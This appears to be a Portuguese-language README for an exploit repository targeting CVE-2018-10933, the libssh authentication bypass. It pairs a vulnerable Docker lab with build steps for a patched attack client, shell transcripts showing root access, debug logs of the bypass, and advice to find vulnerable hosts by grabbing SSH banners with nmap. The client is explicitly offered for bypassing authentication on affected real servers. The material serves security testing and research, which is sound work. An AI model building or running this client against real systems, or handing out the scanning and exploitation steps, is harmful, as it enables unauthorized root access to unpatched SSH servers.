hackerhouse-opensource/cve-2018-10933Exploit de bypass de autenticação CVE-2018-10933 do libssh baseado em Docker com cliente corrigido para testar vulnerabilidades de servidor SSH e cenários de acesso não autorizado.
CVE-2018-10933 bypass de autenticação libssh, um contêiner Docker vulnerável que escuta na porta 2222 para exploração. Um patch básico de prova de conceito do libssh incluído no contêiner para bypass de autenticação. Para fazer login use o padrão "myuser" / "mypassword" do libssh. Um patch é aplicado a uma cópia do libssh no contêiner Docker que injeta um pacote SSH2_MSG_USERAUTH_SUCCESS durante qualquer tentativa de autenticação (teclado-interativo / pubkey / gss-api etc.) e define o estado do lado do cliente para prosseguir. O servidor incluído foi corrigido a partir do código de exemplo para permitir que a exploração seja bem-sucedida.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Um exploit-libssh-0.8.3 corrigido e um sshd vulnerável estão disponíveis no contêiner para fins de teste. O "ssh-client" conseguirá bypassar a autenticação, mas não conseguirá gerar um shell contra o servidor de exemplo padrão devido a verificações adicionais de autenticação no código do servidor.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
Do aviso: "um cliente malicioso poderia criar canais sem primeiro realizar autenticação, resultando em acesso não autorizado."
A saída de depuração libssh a seguir mostra que a autenticação foi bem-sucedida no servidor e um canal de sessão foi criado. O host agora está autenticado, mas verificações adicionais do lado do servidor impedem que comandos sejam executados. Um atacante ainda poderia tentar tunelar/proxy conexões através do serviço.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
Tentativas de lançar shells / exec ou pty resultam em uma sessão bem-sucedida, mas erros no servidor de exemplo devido a verificações adicionais no estado de autenticação do usuário. Os seguintes erros são mostrados no servidor de exemplo.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
Ainda é possível que servidores libssh personalizados potencialmente resultem em execução arbitrária de código, mas a maioria pode apenas permitir tunelamento ou algum mau uso do protocolo SSH. Ao remover a verificação adicional de autenticação, o servidor agora está vulnerável ao exploit de bypass de autenticação. É possível que uma implementação libssh do lado do servidor introduza essa vulnerabilidade. Exemplo de uma exploração bem-sucedida usando libssh corrigido abaixo.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
O contêiner Docker executará o exemplo vulnerável "ssh_server_fork" por padrão, o original pode ser encontrado no diretório "libssh-0.8.3" para fins de teste/depuração.
Os seguintes fornecedores parecem ser praticamente impactados por esta falha devido ao uso de libssh.
libssh está instalado localmente em várias distribuições *BSD e Linux, sendo usado por ffmpeg (?), hydra e um pequeno número de pacotes FOSS.
Você pode construir um cliente libssh corrigido a partir deste repositório para uso de exploração.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Você pode então usar "ssh-client" e quaisquer exemplos para bypassar a autenticação em implementações de servidor libssh afetadas.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
A varredura por hosts potencialmente vulneráveis pode ser realizada simplesmente fazendo a captura de banner regular em portas SSH afetadas (ex.: nmap).
SSH-2.0-libssh_0.8.3
O aviso original está em CVE-2018-10933.txt, vulnerabilidade encontrada por Peter Winter Smith. Docker vulnerável e patch de exploit libssh lançados por Hacker House (https://hacker.house).
Estes arquivos estão disponíveis sob a licença BSD de 3 cláusulas.